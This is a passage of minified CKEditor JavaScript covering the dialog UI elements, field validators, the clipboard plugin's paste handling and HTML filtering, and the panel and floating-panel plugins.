'),a&&l.push("width:"+d(a||"100%")),s?l.push("height:"+d(s[i])):o&&o.expand&&l.push("height:"+Math.floor(100/n.length)+"%"),o&&null!=o.padding&&l.push("padding:"+d(o.padding)),CKEDITOR.env.ie&&CKEDITOR.env.quirks&&r[i].align&&l.push("text-align:"+r[i].align),0<l.length&&t.push('style="',l.join("; "),'" '),t.push(' class="cke_dialog_ui_vbox_child">',n[i],"</td></tr>")}return t.push("</tbody></table>"),t.join("")}))}}},CKEDITOR.ui.dialog.uiElement.prototype={getElement:function(){return CKEDITOR.document.getById(this.domId)},getInputElement:function(){return this.getElement()},getDialog:function(){return this._.dialog},setValue:function(e,t){return this.getInputElement().setValue(e),!t&&this.fire("change",{value:e}),this},getValue:function(){return this.getInputElement().getValue()},isChanged:function(){return!1},selectParentTab:function(){for(var e=this.getInputElement();(e=e.getParent())&&-1==e.$.className.search("cke_dialog_page_contents"););return e?(e=e.getAttribute("name"),this._.dialog._.currentTabId!=e&&this._.dialog.selectPage(e),this):this},focus:function(){return this.selectParentTab().getInputElement().focus(),this},registerEvents:function(e){var t,n,i=/^on([A-Z]\w+)/,o=function(e,t,n,i){t.on("load",(function(){e.getInputElement().on(n,i,e)}))};for(n in e)(t=n.match(i))&&(this.eventProcessors[n]?this.eventProcessors[n].call(this,this._.dialog,e[n]):o(this,this._.dialog,t[1].toLowerCase(),e[n]));return this},eventProcessors:{onLoad:function(e,t){e.on("load",t,this)},onShow:function(e,t){e.on("show",t,this)},onHide:function(e,t){e.on("hide",t,this)}},accessKeyDown:function(){this.focus()},accessKeyUp:function(){},disable:function(){var e=this.getElement();this.getInputElement().setAttribute("disabled","true"),e.addClass("cke_disabled")},enable:function(){var e=this.getElement();this.getInputElement().removeAttribute("disabled"),e.removeClass("cke_disabled")},isEnabled:function(){return!this.getElement().hasClass("cke_disabled")},isVisible:function(){return this.getInputElement().isVisible()},isFocusable:function(){return!(!this.isEnabled()||!this.isVisible())}},CKEDITOR.ui.dialog.hbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getChild:function(e){return 1>arguments.length?this._.children.concat():(e.splice||(e=[e]),2>e.length?this._.children[e[0]]:this._.children[e[0]]&&this._.children[e[0]].getChild?this._.children[e[0]].getChild(e.slice(1,e.length)):null)}},!0),CKEDITOR.ui.dialog.vbox.prototype=new CKEDITOR.ui.dialog.hbox,function(){var e={build:function(e,t,n){for(var i,o=t.children,r=[],a=[],s=0;s<o.length&&(i=o[s]);s++){var l=[];r.push(l),a.push(CKEDITOR.dialog._.uiElementBuilders[i.type].build(e,i,l))}return new CKEDITOR.ui.dialog[t.type](e,a,r,n,t)}};CKEDITOR.dialog.addUIElement("hbox",e),CKEDITOR.dialog.addUIElement("vbox",e)}(),CKEDITOR.dialogCommand=function(e,t){this.dialogName=e,CKEDITOR.tools.extend(this,t,!0)},CKEDITOR.dialogCommand.prototype={exec:function(e){CKEDITOR.env.opera?CKEDITOR.tools.setTimeout((function(){e.openDialog(this.dialogName)}),0,this):e.openDialog(this.dialogName)},canUndo:!1,editorFocus:1},function(){var e=/^([a]|[^a])+$/,t=/^\d*$/,n=/^\d*(?:\.\d+)?$/,i=/^(((\d*(\.\d+))|(\d*))(px|\%)?)?$/,o=/^(((\d*(\.\d+))|(\d*))(px|em|ex|in|cm|mm|pt|pc|\%)?)?$/i,r=/^(\s*[\w-]+\s*:\s*[^:;]+(?:;|$))*$/;CKEDITOR.VALIDATE_OR=1,CKEDITOR.VALIDATE_AND=2,CKEDITOR.dialog.validate={functions:function(){var e=arguments;return function(){var t,n=this&&this.getValue?this.getValue():e[0],i=void 0,o=CKEDITOR.VALIDATE_AND,r=[];for(t=0;t<e.length&&"function"==typeof e[t];t++)r.push(e[t]);t<e.length&&"string"==typeof e[t]&&(i=e[t],t++),t<e.length&&"number"==typeof e[t]&&(o=e[t]);var a=o==CKEDITOR.VALIDATE_AND;for(t=0;t<r.length;t++)a=o==CKEDITOR.VALIDATE_AND?a&&r[t](n):a||r[t](n);return!!a||i}},regex:function(e,t){return function(n){return n=this&&this.getValue?this.getValue():n,!!e.test(n)||t}},notEmpty:function(t){return this.regex(e,t)},integer:function(e){return this.regex(t,e)},number:function(e){return this.regex(n,e)},cssLength:function(e){return this.functions((function(e){return o.test(CKEDITOR.tools.trim(e))}),e)},htmlLength:function(e){return this.functions((function(e){return i.test(CKEDITOR.tools.trim(e))}),e)},inlineStyle:function(e){return this.functions((function(e){return r.test(CKEDITOR.tools.trim(e))}),e)},equals:function(e,t){return this.functions((function(t){return t==e}),t)},notEqual:function(e,t){return this.functions((function(t){return t!=e}),t)}},CKEDITOR.on("instanceDestroyed",(function(e){if(CKEDITOR.tools.isEmpty(CKEDITOR.instances)){for(var t;t=CKEDITOR.dialog._.currentTop;)t.hide();for(var n in C)C[n].remove();C={}}var i;for(i in e=e.editor._.storedDialogs)e[i].destroy()}))}(),CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{openDialog:function(e,t){var n=null,i=CKEDITOR.dialog._.dialogDefinitions[e];if(null===CKEDITOR.dialog._.currentTop&&l(this),"function"==typeof i)n=(n=this._.storedDialogs||(this._.storedDialogs={}))[e]||(n[e]=new CKEDITOR.dialog(this,e)),t&&t.call(n,n),n.show();else{if("failed"==i)throw c(this),Error('[CKEDITOR.dialog.openDialog] Dialog "'+e+'" failed when loading definition.');"string"==typeof i&&CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(i),(function(){"function"!=typeof CKEDITOR.dialog._.dialogDefinitions[e]&&(CKEDITOR.dialog._.dialogDefinitions[e]="failed"),this.openDialog(e,t)}),this,0,1)}return CKEDITOR.skin.loadPart("dialog"),n}})}(),CKEDITOR.plugins.add("dialog",{requires:"dialogui",init:function(e){e.on("doubleclick",(function(t){t.data.dialog&&e.openDialog(t.data.dialog)}),null,null,999)}}),function(){function e(e){function t(t){return{type:t,canUndo:"cut"==t,startDisabled:!0,exec:function(){var t;"cut"==this.type&&a();var n=this.type;if(CKEDITOR.env.ie)t=o(n);else try{t=e.document.$.execCommand(n,!1,null)}catch(e){t=!1}return t||alert(e.lang.clipboard[this.type+"Error"]),t}}}function n(){u=1,setTimeout((function(){u=0}),100)}function i(){d=1,setTimeout((function(){d=0}),10)}function o(t){var n=e.document,i=n.getBody(),o=!1,r=function(){o=!0};return i.on(t,r),(7<CKEDITOR.env.version?n.$:n.$.selection.createRange()).execCommand(t),i.removeListener(t,r),o}function r(t,n,i){return t={type:t},!(i&&!e.fire("beforePaste",t)||!n)&&(t.dataValue=n,e.fire("paste",t))}function a(){if(CKEDITOR.env.ie&&!CKEDITOR.env.quirks){var t,n,i,o=e.getSelection();o.getType()==CKEDITOR.SELECTION_ELEMENT&&(t=o.getSelectedElement())&&(n=o.getRanges()[0],(i=e.document.createText("")).insertBefore(t),n.setStartBefore(i),n.setEndAfter(t),o.selectRanges([n]),setTimeout((function(){t.getParent()&&(i.remove(),o.selectElement(t))}),0))}}function s(t){var n={type:"auto"},i=e.fire("beforePaste",n);!function(t,n){var i,o=e.document,r=e.editable(),a=function(e){e.cancel()},s=CKEDITOR.env.gecko&&10902>=CKEDITOR.env.version;if(!o.getById("cke_pastebin")){var l=e.getSelection(),c=l.createBookmarks(),d=new CKEDITOR.dom.element(!CKEDITOR.env.webkit&&!r.is("body")||CKEDITOR.env.ie||CKEDITOR.env.opera?"div":"body",o);d.setAttributes({id:"cke_pastebin","data-cke-temp":"1"}),CKEDITOR.env.opera&&d.appendBogus();var u=0;o=o.getWindow(),s?(d.insertAfter(c[0].startNode),d.setStyle("display","inline")):(CKEDITOR.env.webkit?(r.append(d),d.addClass("cke_editable"),r.is("body")||(u=(s="static"!=r.getComputedStyle("position")?r:CKEDITOR.dom.element.get(r.$.offsetParent)).getDocumentPosition().y)):r.getAscendant(CKEDITOR.env.ie||CKEDITOR.env.opera?"body":"html",1).append(d),d.setStyles({position:"absolute",top:o.getScrollPosition().y-u+10+"px",width:"1px",height:Math.max(1,o.getViewPaneSize().height-20)+"px",overflow:"hidden",margin:0,padding:0})),(s=d.getParent().isReadOnly())?(d.setOpacity(0),d.setAttribute("contenteditable",!0)):d.setStyle("ltr"==e.config.contentsLangDirection?"left":"right","-1000px"),e.on("selectionChange",a,null,null,0),CKEDITOR.env.webkit&&(i=r.once("blur",a,null,null,-100)),s&&d.focus(),(s=new CKEDITOR.dom.range(d)).selectNodeContents(d);var h=s.select();CKEDITOR.env.ie&&(i=r.once("blur",(function(){e.lockSelection(h)})));var m=CKEDITOR.document.getWindow().getScrollPosition().y;setTimeout((function(){var t;(CKEDITOR.env.webkit||CKEDITOR.env.opera)&&(CKEDITOR.document[CKEDITOR.env.webkit?"getBody":"getDocumentElement"]().$.scrollTop=m),i&&i.removeListener(),CKEDITOR.env.ie&&r.focus(),l.selectBookmarks(c),d.remove(),CKEDITOR.env.webkit&&(t=d.getFirst())&&t.is&&t.hasClass("Apple-style-span")&&(d=t),e.removeListener("selectionChange",a),n(d.getHtml())}),0)}}(0,(function(e){e=e.replace(/<span[^>]+data-cke-bookmark[^<]*?<\/span>/gi,""),i&&r(n.type,e,0)}))}function l(){if("wysiwyg"==e.mode){var t=c("paste");e.getCommand("cut").setState(c("cut")),e.getCommand("copy").setState(c("copy")),e.getCommand("paste").setState(t),e.fire("pasteState",t)}}function c(t){if(h&&t in{paste:1,cut:1})return CKEDITOR.TRISTATE_DISABLED;if("paste"==t)return CKEDITOR.TRISTATE_OFF;var n=(t=e.getSelection()).getRanges();return t.getType()==CKEDITOR.SELECTION_NONE||1==n.length&&n[0].collapsed?CKEDITOR.TRISTATE_DISABLED:CKEDITOR.TRISTATE_OFF}var d=0,u=0,h=0,m=CKEDITOR.env.ie?"beforepaste":"paste";e.on("key",(function(t){if("wysiwyg"==e.mode)switch(t.data.keyCode){case CKEDITOR.CTRL+86:case CKEDITOR.SHIFT+45:t=e.editable(),n(),!CKEDITOR.env.ie&&t.fire("beforepaste"),(CKEDITOR.env.opera||CKEDITOR.env.gecko&&10900>CKEDITOR.env.version)&&t.fire("paste");break;case CKEDITOR.CTRL+88:case CKEDITOR.SHIFT+46:e.fire("saveSnapshot"),setTimeout((function(){e.fire("saveSnapshot")}),0)}})),e.on("contentDom",(function(){var t,r=e.editable();r.on(m,(function(e){(!CKEDITOR.env.ie||!d)&&s()})),CKEDITOR.env.ie&&r.on("paste",(function(t){u||(n(),t.data.preventDefault(),s(),o("paste")||e.openDialog("paste"))})),CKEDITOR.env.ie&&(r.on("contextmenu",i,null,null,0),r.on("beforepaste",(function(e){e.data&&!e.data.$.ctrlKey&&i()}),null,null,0)),r.on("beforecut",(function(){!d&&a()})),r.attachListener(CKEDITOR.env.ie?r:e.document.getDocumentElement(),"mouseup",(function(){t=setTimeout((function(){l()}),0)})),e.on("destroy",(function(){clearTimeout(t)})),r.on("keyup",l)})),e.on("selectionChange",(function(e){h=e.data.selection.getRanges()[0].checkReadOnly(),l()})),e.contextMenu&&e.contextMenu.addListener((function(e,t){return h=t.getRanges()[0].checkReadOnly(),{cut:c("cut"),copy:c("copy"),paste:c("paste")}})),function(){function n(t,n,i,o,r){var a=e.lang.clipboard[n];e.addCommand(n,i),e.ui.addButton&&e.ui.addButton(t,{label:a,command:n,toolbar:"clipboard,"+o}),e.addMenuItems&&e.addMenuItem(n,{label:a,command:n,group:"clipboard",order:r})}n("Cut","cut",t("cut"),10,1),n("Copy","copy",t("copy"),20,4),n("Paste","paste",{canUndo:!1,async:!0,exec:function(e,t){var n=function(t,n){t&&r(t.type,t.dataValue,!!n),e.fire("afterCommandExec",{name:"paste",command:i,returnValue:!!t})},i=this;"string"==typeof t?n({type:"auto",dataValue:t},1):e.getClipboardData(n)}},30,8)}(),e.getClipboardData=function(t,i){function r(e){e.removeListener(),e.cancel(),i(e.data)}function a(e){e.removeListener(),e.cancel(),c=!0,i({type:l,dataValue:e.data})}var s=!1,l="auto",c=!1;i||(i=t,t=null),e.on("paste",r,null,null,0),e.on("beforePaste",(function(e){e.removeListener(),s=!0,l=e.data.type}),null,null,1e3),!1===function(){if(CKEDITOR.env.ie){e.focus(),n();var t=e.focusManager;if(t.lock(),e.editable().fire(m)&&!o("paste"))return t.unlock(),!1;t.unlock()}else try{if(e.editable().fire(m)&&!e.document.$.execCommand("Paste",!1,null))throw 0}catch(e){return!1}return!0}()&&(e.removeListener("paste",r),s&&e.fire("pasteDialog",(function(){this.customTitle=t&&t.title}))?(e.on("pasteDialogCommit",a),e.on("dialogHide",(function(e){e.removeListener(),e.data.removeListener("pasteDialogCommit",a),setTimeout((function(){c||i(null)}),10)}))):i(null))}}function t(e,t){return e.enterMode==CKEDITOR.ENTER_BR?t=t.replace(/(<\/p><p>)+/g,(function(e){return CKEDITOR.tools.repeat("<br>",e.length/7*2)})).replace(/<\/?p>/g,""):e.enterMode==CKEDITOR.ENTER_DIV&&(t=t.replace(/<(\/)?p>/g,"<$1div>")),t}CKEDITOR.plugins.add("clipboard",{requires:"dialog",init:function(n){var i;e(n),CKEDITOR.dialog.add("paste",CKEDITOR.getUrl(this.path+"dialogs/paste.js")),n.on("paste",(function(e){var t=e.data.dataValue,n=CKEDITOR.dtd.$block;if(-1<t.indexOf("Apple-")&&(t=t.replace(/<span class="Apple-converted-space"> <\/span>/gi," "),"html"!=e.data.type&&(t=t.replace(/<span class="Apple-tab-span"[^>]*>([^<]*)<\/span>/gi,(function(e,t){return t.replace(/\t/g," ")}))),-1<t.indexOf('<br class="Apple-interchange-newline">')&&(e.data.startsWithEOL=1,e.data.preSniffing="html",t=t.replace(/<br class="Apple-interchange-newline">/,"")),t=t.replace(/(<[^>]+) class="Apple-[^"]*"/gi,"$1")),t.match(/^<[^<]+cke_(editable|contents)/i)){var i,o,r=new CKEDITOR.dom.element("div");for(r.setHtml(t);1==r.getChildCount()&&(i=r.getFirst())&&i.type==CKEDITOR.NODE_ELEMENT&&(i.hasClass("cke_editable")||i.hasClass("cke_contents"));)r=o=i;o&&(t=o.getHtml().replace(/<br>$/i,""))}CKEDITOR.env.ie?t=t.replace(/^ (?: |\r\n)?<(\w+)/g,(function(t,i){return i.toLowerCase()in n?(e.data.preSniffing="html","<"+i):t})):CKEDITOR.env.webkit?t=t.replace(/<\/(\w+)><div><br><\/div>$/,(function(t,i){return i in n?(e.data.endsWithEOL=1,"</"+i+">"):t})):CKEDITOR.env.gecko&&(t=t.replace(/(\s)<br>$/,"$1")),e.data.dataValue=t}),null,null,3),n.on("paste",(function(e){var o,r=(e=e.data).type,a=e.dataValue,s=n.config.clipboard_defaultContentType||"html";"htmlifiedtext"==(o="html"==r||"html"==e.preSniffing?"html":function(e){if(CKEDITOR.env.webkit){if(!e.match(/^[^<]*$/g)&&!e.match(/^(<div><br( ?\/)?><\/div>|<div>[^<]*<\/div>)*$/gi))return"html"}else if(CKEDITOR.env.ie){if(!e.match(/^([^<]|<br( ?\/)?>)*$/gi)&&!e.match(/^(<p>([^<]|<br( ?\/)?>)*<\/p>|(\r\n))*$/gi))return"html"}else{if(!CKEDITOR.env.gecko&&!CKEDITOR.env.opera)return"html";if(!e.match(/^([^<]|<br( ?\/)?>)*$/gi))return"html"}return"htmlifiedtext"}(a))?a=function(e,n){function i(e){return CKEDITOR.tools.repeat("</p><p>",~~(e/2))+(1==e%2?"<br>":"")}return(n=(n=n.replace(/\s+/g," ").replace(/> +</g,"><").replace(/<br ?\/>/gi,"<br>")).replace(/<\/?[A-Z]+>/g,(function(e){return e.toLowerCase()}))).match(/^[^<]$/)?n:(CKEDITOR.env.webkit&&-1<n.indexOf("<div>")&&((n=n.replace(/^(<div>(<br>|)<\/div>)(?!$|(<div>(<br>|)<\/div>))/g,"<br>").replace(/^(<div>(<br>|)<\/div>){2}(?!$)/g,"<div></div>")).match(/<div>(<br>|)<\/div>/)&&(n="<p>"+n.replace(/(<div>(<br>|)<\/div>)+/g,(function(e){return i(e.split("</div><div>").length+1)}))+"</p>"),n=(n=n.replace(/<\/div><div>/g,"<br>")).replace(/<\/?div>/g,"")),(CKEDITOR.env.gecko||CKEDITOR.env.opera)&&e.enterMode!=CKEDITOR.ENTER_BR&&(CKEDITOR.env.gecko&&(n=n.replace(/^<br><br>$/,"<br>")),-1<n.indexOf("<br><br>")&&(n="<p>"+n.replace(/(<br>){2,}/g,(function(e){return i(e.length/4)}))+"</p>")),t(e,n))}(n.config,a):"text"==r&&"html"==o&&(a=function(e,n,i){n=new CKEDITOR.htmlParser.fragment.fromHtml(n);var o=new CKEDITOR.htmlParser.basicWriter;n.writeHtml(o,i),n=(n=o.getHtml()).replace(/\s*(<\/?[a-z:]+ ?\/?>)\s*/g,"$1").replace(/(<cke:br \/>){2,}/g,"<cke:br />").replace(/(<cke:br \/>)(<\/?p>|<br \/>)/g,"$2").replace(/(<\/?p>|<br \/>)(<cke:br \/>)/g,"$1").replace(/<(cke:)?br( \/)?>/g,"<br>").replace(/<p><\/p>/g,"");var r=0;return t(e,n=n.replace(/<\/?p>/g,(function(e){if("<p>"==e){if(1<++r)return"</p><p>"}else if(0<--r)return"</p><p>";return e})).replace(/<p><\/p>/g,""))}(n.config,a,i||(i=function(){var e=new CKEDITOR.htmlParser.filter,t={blockquote:1,dl:1,fieldset:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ol:1,p:1,table:1,ul:1},n=CKEDITOR.tools.extend({br:0},CKEDITOR.dtd.$inline),i={p:1,br:1,"cke:br":1},o=CKEDITOR.dtd,r=CKEDITOR.tools.extend({area:1,basefont:1,embed:1,iframe:1,map:1,object:1,param:1},CKEDITOR.dtd.$nonBodyContent,CKEDITOR.dtd.$cdata),a=function(e){delete e.name,e.add(new CKEDITOR.htmlParser.text(" "))},s=function(e){for(var t,n=e;(n=n.next)&&n.name&&n.name.match(/^h\d$/);)for((t=new CKEDITOR.htmlParser.element("cke:br")).isEmpty=!0,e.add(t);t=n.children.shift();)e.add(t)};return e.addRules({elements:{h1:s,h2:s,h3:s,h4:s,h5:s,h6:s,img:function(e){var t=" ";return(e=CKEDITOR.tools.trim(e.attributes.alt||""))&&!e.match(/(^http|\.(jpe?g|gif|png))/i)&&(t=" ["+e+"] "),new CKEDITOR.htmlParser.text(t)},td:a,th:a,$:function(e){var a,s=e.name;if(r[s])return!1;if(e.attributes=[],"br"==s)return e;if(t[s])e.name="p";else if(n[s])delete e.name;else if(o[s]){if((a=new CKEDITOR.htmlParser.element("cke:br")).isEmpty=!0,CKEDITOR.dtd.$empty[s])return a;e.add(a,0),(a=a.clone()).isEmpty=!0,e.add(a),delete e.name}return i[e.name]||delete e.name,e}}},{applyToAll:!0}),e}()))),e.startsWithEOL&&(a='<br data-cke-eol="1">'+a),e.endsWithEOL&&(a+='<br data-cke-eol="1">'),"auto"==r&&(r="html"==o||"html"==s?"html":"text"),e.type=r,e.dataValue=a,delete e.preSniffing,delete e.startsWithEOL,delete e.endsWithEOL}),null,null,6),n.on("paste",(function(e){e=e.data,n.insertHtml(e.dataValue,e.type),setTimeout((function(){n.fire("afterPaste")}),0)}),null,null,1e3),n.on("pasteDialog",(function(e){setTimeout((function(){n.openDialog("paste",e.data)}),0)}))}})}(),function(){CKEDITOR.plugins.add("panel",{beforeInit:function(e){e.ui.addHandler(CKEDITOR.UI_PANEL,CKEDITOR.ui.panel.handler)}}),CKEDITOR.UI_PANEL="panel",CKEDITOR.ui.panel=function(e,t){t&&CKEDITOR.tools.extend(this,t),CKEDITOR.tools.extend(this,{className:"",css:[]}),this.id=CKEDITOR.tools.getNextId(),this.document=e,this.isFramed=this.forceIFrame||this.css.length,this._={blocks:{}}},CKEDITOR.ui.panel.handler={create:function(e){return new CKEDITOR.ui.panel(e)}};var e=CKEDITOR.addTemplate("panel",'<div lang="{langCode}" id="{id}" dir={dir} class="cke cke_reset_all {editorId} cke_panel cke_panel {cls} cke_{dir}" style="z-index:{z-index}" role="presentation">{frame}</div>'),t=CKEDITOR.addTemplate("panel-frame",'<iframe id="{id}" class="cke_panel_frame" role="presentation" frameborder="0" src="{src}"></iframe>'),n=CKEDITOR.addTemplate("panel-frame-inner",'<!DOCTYPE html><html class="cke_panel_container {env}" dir="{dir}" lang="{langCode}"><head>{css}</head><body class="cke_{dir}" style="margin:0;padding:0" onload="{onload}"></body></html>');CKEDITOR.ui.panel.prototype={render:function(i,o){this.getHolderElement=function(){if(!(t=this._.holder)){if(this.isFramed){var e=(t=this.document.getById(this.id+"_frame")).getParent(),t=t.getFrameDocument();CKEDITOR.env.iOS&&e.setStyles({overflow:"scroll","-webkit-overflow-scrolling":"touch"}),e=CKEDITOR.tools.addFunction(CKEDITOR.tools.bind((function(){this.isLoaded=!0,this.onLoad&&this.onLoad()}),this)),t.write(n.output(CKEDITOR.tools.extend({css:CKEDITOR.tools.buildStyleHtml(this.css),onload:"window.parent.CKEDITOR.tools.callFunction("+e+");"},r))),t.getWindow().$.CKEDITOR=CKEDITOR,t.on("key"+(CKEDITOR.env.opera?"press":"down"),(function(e){var t=e.data.getKeystroke(),n=this.document.getById(this.id).getAttribute("dir");(this._.onKeyDown&&!1===this._.onKeyDown(t)||(27==t||t==("rtl"==n?39:37))&&this.onEscape&&!1===this.onEscape(t))&&e.data.preventDefault()}),this),(t=t.getBody()).unselectable(),CKEDITOR.env.air&&CKEDITOR.tools.callFunction(e)}else t=this.document.getById(this.id);this._.holder=t}return t};var r={editorId:i.id,id:this.id,langCode:i.langCode,dir:i.lang.dir,cls:this.className,frame:"",env:CKEDITOR.env.cssClass,"z-index":i.config.baseFloatZIndex+1};if(this.isFramed){var a=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?"javascript:void(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"}())":"";r.frame=t.output({id:this.id+"_frame",src:a})}return a=e.output(r),o&&o.push(a),a},addBlock:function(e,t){return t=this._.blocks[e]=t instanceof CKEDITOR.ui.panel.block?t:new CKEDITOR.ui.panel.block(this.getHolderElement(),t),this._.currentBlock||this.showBlock(e),t},getBlock:function(e){return this._.blocks[e]},showBlock:function(e){e=this._.blocks[e];var t=this._.currentBlock,n=!this.forceIFrame||CKEDITOR.env.ie?this._.holder:this.document.getById(this.id+"_frame");return t&&t.hide(),this._.currentBlock=e,CKEDITOR.fire("ariaWidget",n),e._.focusIndex=-1,this._.onKeyDown=e.onKeyDown&&CKEDITOR.tools.bind(e.onKeyDown,e),e.show(),e},destroy:function(){this.element&&this.element.remove()}},CKEDITOR.ui.panel.block=CKEDITOR.tools.createClass({$:function(e,t){this.element=e.append(e.getDocument().createElement("div",{attributes:{tabindex:-1,class:"cke_panel_block"},styles:{display:"none"}})),t&&CKEDITOR.tools.extend(this,t),this.element.setAttributes({role:this.attributes.role||"presentation","aria-label":this.attributes["aria-label"],title:this.attributes.title||this.attributes["aria-label"]}),this.keys={},this._.focusIndex=-1,this.element.disableContextMenu()},_:{markItem:function(e){-1!=e&&(e=this.element.getElementsByTag("a").getItem(this._.focusIndex=e),(CKEDITOR.env.webkit||CKEDITOR.env.opera)&&e.getDocument().getWindow().focus(),e.focus(),this.onMark&&this.onMark(e))}},proto:{show:function(){this.element.setStyle("display","")},hide:function(){(!this.onHide||!0!==this.onHide.call(this))&&this.element.setStyle("display","none")},onKeyDown:function(e){switch(n=this.keys[e]){case"next":e=this._.focusIndex;for(var t,n=this.element.getElementsByTag("a");t=n.getItem(++e);)if(t.getAttribute("_cke_focus")&&t.$.offsetWidth){this._.focusIndex=e,t.focus();break}return!1;case"prev":for(e=this._.focusIndex,n=this.element.getElementsByTag("a");0<e&&(t=n.getItem(--e));)if(t.getAttribute("_cke_focus")&&t.$.offsetWidth){this._.focusIndex=e,t.focus();break}return!1;case"click":case"mouseup":return(t=0<=(e=this._.focusIndex)&&this.element.getElementsByTag("a").getItem(e))&&(t.$[n]?t.$[n]():t.$["on"+n]()),!1}return!0}}})}(),CKEDITOR.plugins.add("floatpanel",{requires:"panel"}),r={},CKEDITOR.ui.floatPanel=CKEDITOR.tools.createClass({$:function(e,t,n,i){function o(){c.hide()}n.forceIFrame=1,n.toolbarRelated&&e.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&&(t=CKEDITOR.document.getById("cke_"+e.name));var a=t.getDocument(),s=(i=function(e,t,n,i,o){o=CKEDITOR.tools.genKey(t.getUniqueId(),n.getUniqueId(),e.lang.dir,e.uiColor||"",i.css||"",o||"");var a=r[o];return a||((a=r[o]=new CKEDITOR.ui.panel(t,i)).element=n.append(CKEDITOR.dom.element.createFromHtml(a.render(e),t)),a.element.setStyles({display:"none",position:"absolute"})),a}(e,a,t,n,i||0)).element,l=s.getFirst(),c=this;s.disableContextMenu(),this.element=s,this._={editor:e,panel:i,parentElement:t,definition:n,document:a,iframe:l,children:[],dir:e.lang.dir},e.on("mode",o),e.on("resize",o),a.getWindow().on("resize",o)},proto:{addBlock:function(e,t){return this._.panel.addBlock(e,t)},addListBlock:function(e,t){return this._.panel.addListBlock(e,t)},getBlock:function(e){return this._.panel.getBlock(e)},showBlock:function(e,t,n,i,o,r){var a=this._.panel,s=a.showBlock(e);this.allowBlur(!1),e=this._.editor.editable(),this._.returnFocus=e.hasFocus?e:new CKEDITOR.dom.element(CKEDITOR.document.$.activeElement);var l=this.element,c=(e=this._.iframe,e=CKEDITOR.env.ie?e:new CKEDITOR.dom.window(e.$.contentWindow),l.getDocument()),d=this._.parentElement.getPositionedAncestor(),u=t.getDocumentPosition(c),h=(c=d?d.getDocumentPosition(c):{x:0,y:0},"rtl"==this._.dir),m=u.x+(i||0)-c.x,f=u.y+(o||0)-c.y;!h||1!=n&&4!=n?h||2!=n&&3!=n||(m+=t.$.offsetWidth-1):m+=t.$.offsetWidth,3!=n&&4!=n||(f+=t.$.offsetHeight-1),this._.panel._.offsetParentId=t.getId(),l.setStyles({top:f+"px",left:0,display:""}),l.setOpacity(0),l.getFirst().removeStyle("width"),this._.editor.focusManager.add(e),this._.blurSet||(CKEDITOR.event.useCapture=!0,e.on("blur",(function(e){this.allowBlur()&&e.data.getPhase()==CKEDITOR.EVENT_PHASE_AT_TARGET&&this.visible&&!this._.activeChild&&(delete this._.returnFocus,this.hide())}),this),e.on("focus",(function(){this._.focused=!0,this.hideChild(),this.allowBlur(!0)}),this),CKEDITOR.event.useCapture=!1,this._.blurSet=1),a.onEscape=CKEDITOR.tools.bind((function(e){if(this.onEscape&&!1===this.onEscape(e))return!1}),this),CKEDITOR.tools.setTimeout((function(){var e=CKEDITOR.tools.bind((function(){if(l.removeStyle("width"),s.autoSize){var e=s.element.getDocument();e=(CKEDITOR.env.webkit?s.element:e.getBody()).$.scrollWidth,CKEDITOR.env.ie&&CKEDITOR.env.quirks&&e>0&&(e+=(l.$.offsetWidth||0)-(l.$.clientWidth||0)+3),l.setStyle("width",e+10+"px"),e=s.element.$.scrollHeight,CKEDITOR.env.ie&&CKEDITOR.env.quirks&&e>0&&(e+=(l.$.offsetHeight||0)-(l.$.clientHeight||0)+3),l.setStyle("height",e+"px"),a._.currentBlock.element.setStyle("display","none").removeStyle("display")}else l.removeStyle("height");h&&(m-=l.$.offsetWidth),l.setStyle("left",m+"px");var t,n=a.element.getWindow(),i=(e=l.$.getBoundingClientRect(),n=n.getViewPaneSize(),e.width||e.right-e.left),o=e.height||e.bottom-e.top,c=h?e.right:n.width-e.left,d=h?n.width-e.right:e.left;h?c<i&&(m=d>i?m+i:n.width>i?m-e.left:m-e.right+n.width):c<i&&(m=d>i?m-i:n.width>i?m-e.right+n.width:m-e.left),i=e.top,n.height-e.top<o&&(f=i>o?f-o:n.height>o?f-e.bottom+n.height:f-e.top),CKEDITOR.env.ie&&("html"==(n=e=new CKEDITOR.dom.element(l.$.offsetParent)).getName()&&(n=n.getDocument().getBody()),"rtl"==n.getComputedStyle("direction")&&(m=CKEDITOR.env.ie8Compat?m-2*l.getDocument().getDocumentElement().$.scrollLeft:m-(e.$.scrollWidth-e.$.clientWidth))),(t=(e=l.getFirst()).getCustomData("activePanel"))&&t.onHide&&t.onHide.call(this,1),e.setCustomData("activePanel",this),l.setStyles({top:f+"px",left:m+"px"}),l.setOpacity(1),r&&r()}),this);a.isLoaded?e():a.onLoad=e,CKEDITOR.tools.setTimeout((function(){var e=CKEDITOR.env.webkit&&CKEDITOR.document.getWindow().getScrollPosition().y;this.focus(),s.element.focus(),CKEDITOR.env.webkit&&(CKEDITOR.document.getBody().$.scrollTop=e),this.allowBlur(!0),this._.editor.fire("panelShow",this)}),0,this)}),CKEDITOR.env.air?200:0,this),this.visible=1,this.onShow&&this.onShow.call(this)},focus:function(){if(CKEDITOR.env.webkit){var e=CKEDITOR.document.getActive();!e.equals(this._.iframe)&&e.$.blur()}(this._.lastFocused||this._.iframe.getFrameDocument().getWindow()).focus()},blur:function(){var e=this._.iframe.getFrameDocument().getActive();e.is("a")&&(this._.lastFocused=e)},hide:function(e){!this.visible||this.onHide&&!0===this.onHide.call(this)||(this.hideChild(),CKEDITOR.env.gecko&&this._.iframe.getFrameDocument().$.activeElement.blur(),this.element.setStyle("display","none"),this.visible=0,this.element.getFirst().removeCustomData("activePanel"),(e=e&&this._.returnFocus)&&(CKEDITOR.env.webkit&&e.type&&e.getWindow().$.focus(),e.focus()),delete this._.lastFocused,this._.editor.fire("panelHide",this))},allowBlur:function(e){var t=this._.panel;return 